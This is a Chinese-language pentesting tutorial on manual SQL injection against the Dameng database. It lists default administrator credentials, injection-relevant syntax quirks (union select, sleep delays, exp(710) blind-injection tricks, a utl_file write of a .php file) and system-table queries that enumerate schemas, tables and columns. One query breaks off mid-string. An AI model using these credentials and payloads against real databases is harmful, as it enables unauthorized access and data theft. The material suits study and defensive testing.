前言
随着信创产业的逐步普及,很多小伙伴在渗透实战时会越来越多的遇到国产化数据库,如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞,用sqlmap等工具无法支持我们直接得到想要的数据,我们需要理解这些数据库的语法才能更好的进行手工注入。本文总结了一些达梦数据库的手工注入技巧,欢迎大家收藏转发。
0x01 默认用户
默认安装的达梦数据库存在下面两个用户,密码与用户名相同,注意大小写
SYSDBA/SYSDBA
SYSAUDITOR/SYSAUDITOR
0x02 端口服务
默认端口:5236
默认服务名:DmServiceDMSERVER
远程:达梦数据库默认支持远程连接,只要网络可达,就可以连接成功。并没有类似mysql的只允许localhost连接的特性。
0x03 基础信息获取语法
SQL语句 | 语法 | 效果 |
select user | 语法 正确 | 返回当前用户,默认是SYSDBA |
select user() | 语法 正确 | 返回当前用户,默认是SYSDBA |
select db_name() | 语法 错误 | 不存在方法db_name() |
select database() | 语法 错误 | 不存在方法database() |
select cur_database | 语法 正确 | 返回当前库名,默认是DAMENG |
select cur_database() | 语法 正确 | 反回当前库名,默认是DAMENG |
0x04 语法特性
SQL语句 | 语法 | 效果 |
select
1 | 语法 正确 | select语句后面可以不跟表名 |
select
1 from dual | 语法 正确 | 存在默认表dual |
select
1 from dual -- a | 语法 正确 | 支持--单行注释 |
select
1 from dual # a | 语法 错误 | 不支持#单行注释 |
select
1/*aaa*/from dual | 语法 正确 | 支持/**/多行注释 |
select
1 from dual where 1 | 语法 错误 | 条件表达式必须是bool值 |
select
if(1=2, exp(710), 1) | 语法 错误 | 不能在if表达式中使用子表达式 |
select
exp(if(1=2, 710,1)) | 语法 正确 | 可以在exp表达式中使用子表达式 |
select
1 from dual where 1=2 union select user() | 语法 错误 | 字符串转换错误,联合查询要求字段类型必须相同 |
select
'1' from dual where 1=2 union select user() | 语法 正确 | 支持union select联合查询语法 |
waitfor
delay '0:0:5' | 语法 错误 | 不支持waitfor语法 |
select
sleep(5) | 语法 错误 | select 和sleep使用语法错误 |
sleep(5) | 语法 正确 | 延时5s |
exec
sleep 5 | 语法 正确 | 延时5s |
select
1 from dual where 1=user() | 会报错 | 但是不会报错出错误详情,不能用于报错注入 |
select
1 from dual where 1=updatexml(1,user(),1) | 语法 错误 | 没有updatexml函数 |
select
`ACCOUNT_ID` from OTHER.ACCOUNT | 语法 错误 | 不能用反引号标识表名和字段名 |
select
"ACCOUNT_ID" from "OTHER"."ACCOUNT" | 语法 正确 | 如果表名和字段名中有特殊符号,可以用双引号包裹表名和字段名,不能用反引号 |
select
1 from dual where 1=1 || 1=1 | 语法 错误 | 不能使用||代替or |
select
1 from dual where 1=1 && 1=1 | 语法 正确 | 可以使用&&代替and |
select
top 1 * from account | 语法 正确 | 支持top语法 |
select
* from account limit 0,1 | 语法 正确 | 支持limit语法 |
select
1 into outfile 'D:/1.txt' | 语法 错误 | 不支持outfile语法 |
select
* from other.depttab where dname=0x61 | 语法 正确 | 但是不支持把字符串转换为0x61这种16禁止字符串的功能 |
copy
(select DNAME from other.depttab) to 'D:/1.txt' | 语法 错误 | 不支持copy语法 |
utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test',
'test.php', 'A'), 'xxxxxx') | 语法 正确 | 可以写入文件,但是只能写到DAMENG目录,比较鸡肋 |
0x05 函数特性
函数示例 | 返回值 |
substr('1234',2,1) | 返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位 |
substring('1234',2,1) | 同substr函数 |
left('123456', 3) | 返回123,第二个参数代表返回左边几位的字符 |
right('123456', 3) | 返回456,第二个参数代表返回右边几位的字符 |
if(1=1,1,2) | 返回1,条件判断,如果条件成立返回第二个参数值,如果条件不成立,返回第三个参数值 |
md5(1) | 返回 0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x |
if(1=ascii(substr('123456',2,1)),2, 1) | 综合使用,盲注必备 |
exp(if(1=1,710,1)) | exp(710)返回整数溢出错误,使用这种方式可以强制BOOL盲注 |
0x06 手工注入
>通过查询系统表来手工注入
1) 查询库名
SYS.SYSOBJECTS表中保存全部的库名信息,可以使用下面的方式查询到所有的库名和对应ID
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'
2) 查询表名
SYS.SYSOBJECTS表中同时保存全部的表名信息,可以使用下面的方式查询到所有的表名。其中SCHID来自步骤1)中获得的ID
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949
3) 查询列名
SYS.SYSCOLUMNS表中字段名称和字段类型,可以使用下面的方式查询所有的表对应的列名。其中ID为步骤2)中获取的ID
select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078
>通过查询视图来手工注入
1) 查询用户
可以使用下面的方式查询全部的数据库的用户名
select USERNAME from SYS.ALL_USERS
2) 查询库名
可以使用下面的方式查询全部库名,其中OWNER代表的是步骤1)对应的数据库用户名。
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'
3) 查询表名
可以使用下面的方式查询全部表名,这里的OWNER代表的是步骤2)对应的库名。
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'
4) 查询列名
可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。
select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OT
0x07 总结
达梦是一套优秀的国产化关系型数据库,目前在信创领域拥有大量的用户,其遵循SQL语言标准规范,从语法上来说和mysql和mssql都不太一样。